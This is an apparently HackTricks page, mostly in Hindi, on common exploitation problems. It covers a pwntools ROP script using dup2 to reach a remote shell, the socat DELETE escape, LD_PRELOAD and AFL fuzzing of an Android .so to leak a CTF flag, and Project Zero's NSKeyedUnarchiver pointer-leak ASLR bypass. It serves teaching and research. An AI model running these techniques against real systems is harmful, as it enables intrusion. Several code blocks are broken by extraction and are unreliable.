सामान्य एक्सप्लॉइटिंग समस्याएँ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
रिमोट एक्सप्लॉइटेशन में FDs
जब किसी रिमोट server को exploit भेजा जाता है जो उदाहरण के लिए system('/bin/sh') कॉल करता है, तो यह बिलकुल server process में execute होगा, और /bin/sh stdin (FD: 0) से input की अपेक्षा करेगा और stdout और stderr (FDs 1 और 2) पर output प्रिंट करेगा। इसलिए attacker shell के साथ interact नहीं कर पाएगा।
एक समाधान यह मानना है कि जब server शुरू हुआ तो उसने listening के लिए FD number 3 बनाया था और फिर आपकी connection FD number 4 में होगी। इसलिए syscall dup2 का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (attacker की connection वाला) में duplicate करना संभव है, जिससे shell execute होने के बाद उससे संपर्क करना संभव हो जाएगा।
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
ध्यान दें कि socat पहले से ही stdin और stdout को socket पर प्रेषित करता है। हालाँकि, pty मोड में DELETE characters शामिल होते हैं। इसलिए, यदि आप \x7f (DELETE) भेजते हैं, तो यह आपके exploit के पिछले character को हटाएगा।
इसे बायपास करने के लिए escape character \x16 को किसी भी भेजे गए \x7f से पहले जोड़ा जाना चाहिए।
Here you can find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
जब कोई Android app केवल एक stripped AArch64 .so के साथ आता है, तो आप APK को फिर से बिल्ड किए बिना ही on-device सीधे exported logic को fuzz कर सकते हैं। एक व्यावहारिक workflow:
- Locate callable entry points.
objdump -T libvalidate.so | grep -E "validate"जल्दी से exported functions को सूचीबद्ध करता है। Decompilers (Ghidra, IDA, BN) वास्तविक signature का खुलासा करते हैं, जैसेint validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. एक फ़ाइल लोड करें, बफ़र को मेमोरी में बनाए रखें, और exported symbol को बिल्कुल उसी तरह कॉल करें जैसे app कॉल करेगा। NDK के साथ cross-compile करें (उदा.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
न्यूनतम फ़ाइल-आधारित harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **अपेक्षित संरचना को पुनर्निर्मित करें।** Ghidra में error strings और comparisons ने दिखाया कि function strict JSON को parse करता है जिसमें constant keys (`magic`, `version`, nested `root.children.*`) और arithmetic checks होते हैं (उदाहरण के लिए, `value * 2 == 84` ⇒ `value` का मान `42` होना चाहिए)। syntactically valid JSON जो क्रमिक रूप से प्रत्येक branch को संतुष्ट करता है, खिलाकर आप बिना instrumentation के schema का मानचित्र बना सकते हैं।
4. **anti-debug को बायपास करके गुप्त जानकारी को leak करें।** क्योंकि `.so` `snprintf` को import करता है, इसे `LD_PRELOAD` के साथ override करके संवेदनशील format strings को dump किया जा सकता है, यहाँ तक कि जब `breakpoints` blocked हों:
<details>
<summary>न्यूनतम snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json अंदरूनी flag को exfiltrates करता है और binary को patch किए बिना crash oracle की पुष्टि करता है।
5. Shrink the fuzz space. Disassembly ने flag comparison में reuse हुए XOR key का पता लगाया, जिसका मतलब है कि flag के पहले सात bytes ज्ञात थे। केवल उन नौ unknown bytes को fuzz करें।
6. Embed fuzz bytes inside a valid JSON envelope. AFL harness stdin से ठीक नौ bytes पढ़ता है, उन्हें flag suffix में copy करता है, और हर अन्य field (constants, tree depths, arithmetic preimage) को hard-code कर देता है। कोई भी malformed read बस exit कर देता है, इसलिए AFL meaningful testcases पर cycles खर्च करता है:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** कोई भी इनपुट जो हर semantic चेक को पूरा करता है और सही नौ-बाइट suffix का अनुमान लगाता है, वह जानबूझकर crash ट्रिगर करता है; वे फाइलें `output/crashes` में पहुंचती हैं और simple harness के माध्यम से replay की जा सकती हैं ताकि secret recover किया जा सके।
यह workflow आपको anti-debug-protected JNI validators को जल्दी triage करने, जब जरूरत हो तो leak secrets करने, और फिर केवल meaningful बाइट्स को fuzz करने की अनुमति देता है — वह भी original APK को छुए बिना।
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Malicious camera formats अक्सर अपना खुद का bytecode (opcode lists, map tables, tone curves) भेजते हैं। जब कोई privileged decoder metadata-derived dimensions या plane indices को bound-check करने में विफल रहता है, तो वे opcodes attacker-controlled read/write primitives बन जाते हैं जो heap को groom कर सकते हैं, pointers को pivot कर सकते हैं, या यहाँ तक कि leak ASLR भी कर सकते हैं। Samsung का in-the-wild Quram exploit हाल का उदाहरण है जिसमें `DeltaPerColumn` bounds bug, skipped opcodes के जरिए heap spraying, vtable remapping, और `system()` पर एक JOP chain को chain किया गया था।
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### आवश्यकताएँ और आक्रमण सतह
- एक सर्विस attacker-controlled property lists (XML या binary) स्वीकार करती है और `NSKeyedUnarchiver.unarchivedObjectOfClasses` को एक permissive allowlist (उदा., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`) के साथ कॉल करती है।
- निष्कर्षस्वरूप बने ऑब्जेक्ट्स को पुन: उपयोग किया जाता है और बाद में फिर से `NSKeyedArchiver` के साथ serialize किया जाता है (या deterministic bucket order में iterate किया जाता है) और attacker को वापस भेजा जाता है।
- कंटेनरों में कुछ key प्रकार pointer मानों को उनके hash code के रूप में उपयोग करते हैं। March 2025 से पहले, `CFNull`/`NSNull` लौटकर `CFHash(object) == (uintptr_t)object` पर आ जाता था, और deserialization हमेशा shared-cache singleton `kCFNull` वापस कर देता था, जिससे memory corruption या timing के बिना एक स्थिर kernel-shared pointer मिलता था।
### Controllable hashing primitives
- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` में hash callback नहीं होता, इसलिए `CFBasicHash` object address को hash के रूप में उपयोग करता है। चूँकि singleton reboot तक एक fixed shared-cache address पर रहता है, इसका hash processes के बीच स्थिर रहता है।
- **Attacker-controlled hashes:** 32-bit `NSNumber` keys `_CFHashInt` के माध्यम से hashed होते हैं, जो deterministic और attacker-controllable है। विशेष integers चुनकर attacker किसी भी table size के लिए `hash(number) % num_buckets` चुन सकता है।
- **`NSDictionary` implementation:** Immutable dictionaries में एक `CFBasicHash` embedded रहता है जिसमें prime bucket count `__CFBasicHashTableSizes` (उदा., 23, 41, 71, 127, 191, 251, 383, 631, 1087) से चुना जाता है। Collisions linear probing (`__kCFBasicHashLinearHashingValue`) से handle होते हैं, और serialization numeric order में buckets को walk करती है; इसलिए serialized keys का क्रम उस bucket index को encode करता है जिस पर प्रत्येक key अंततः स्थित थी।
### Encoding bucket indices into serialization order
ऐसा plist तैयार करके जो एक dictionary materialize करे और जिसके buckets व्यस्त और खाली slots के बीच बारी-बारी से बदलते हों, attacker यह सीमित कर सकता है कि linear probing `NSNull` को कहाँ place कर सकता है। एक 7-bucket उदाहरण के लिए, even buckets को `NSNumber` keys से भरने पर यह उत्पन्न होता है:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.
पूरक तालिकाओं के साथ सटीक शेषों का निर्धारण
एक single dictionary केवल residues की एक सीमा leaks करती है। सटीक मान जानने के लिए hash(NSNull) % p, प्रत्येक prime bucket size p के लिए दो dictionaries बनाएं: एक में even buckets pre-filled हों और दूसरी में odd buckets pre-filled हों। पूरक pattern (_ # _ # _ # _) के लिए, empty slots (0,2,4,6) residue sets {0}, {1,2}, {3,4}, {5,6} से map होते हैं। दोनों dictionaries में NSNull की serialized position का अवलोकन residue को एक single मान तक संकुचित कर देता है, क्योंकि दोनों candidate sets का intersection उस p के लिए एक unique r_i देता है।
attacker सभी dictionaries को एक NSArray के अंदर bundle करता है, इसलिए एक single deserialize → serialize round trip हर चुनी गई table size के लिए residues leak कर देता है।
64-bit shared-cache pointer का पुनर्निर्माण
प्रत्येक prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} के लिए, attacker serialized ordering से hash(NSNull) ≡ r_i (mod p_i) recover करता है। extended Euclidean algorithm के साथ Chinese Remainder Theorem (CRT) लागू करने पर प्राप्त होता है:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
so the combined residue uniquely equals the 64-bit pointer to kCFNull. The Project Zero PoC iteratively combines congruences while printing intermediate moduli to show convergence toward the true address (0x00000001eb91ab60 on the vulnerable build).
Practical workflow
- Generate crafted input: हमला पक्ष का XML plist बनाएं (प्रत्येक prime के लिए दो dictionaries,
NSNullअंत में serialized) और इसे binary फॉर्मैट में बदलें।
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: टार्गेट सर्विस
NSKeyedUnarchiver.unarchivedObjectOfClassesके साथ configured allowed classes{NSDictionary, NSArray, NSNumber, NSString, NSNull}का उपयोग करके deserializes करती है और तुरंतNSKeyedArchiverसे re-serialize कर देती है। - Residue extraction: लौटे हुए plist को XML में बदलने से dictionary की key ordering दिख जाती है।
extract-pointer.cजैसे helper ऑब्जेक्ट टेबल पढ़ता है, singletonNSNullका index ढूंढता है, हर dictionary pair को उसके bucket residue से मैप करता है, और CRT system को हल करके shared-cache pointer recover करता है। - Verification (optional): एक छोटा Objective-C helper compile करके जो
CFHash(kCFNull)प्रिंट करे यह पुष्टि की जा सकती है कि leaked value वास्तविक पते से मेल खाती है।
किसी भी memory safety बग की आवश्यकता नहीं है—बस pointer-keyed संरचनाओं के serialization क्रम का अवलोकन करना एक remote ASLR bypass primitive देता है।
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


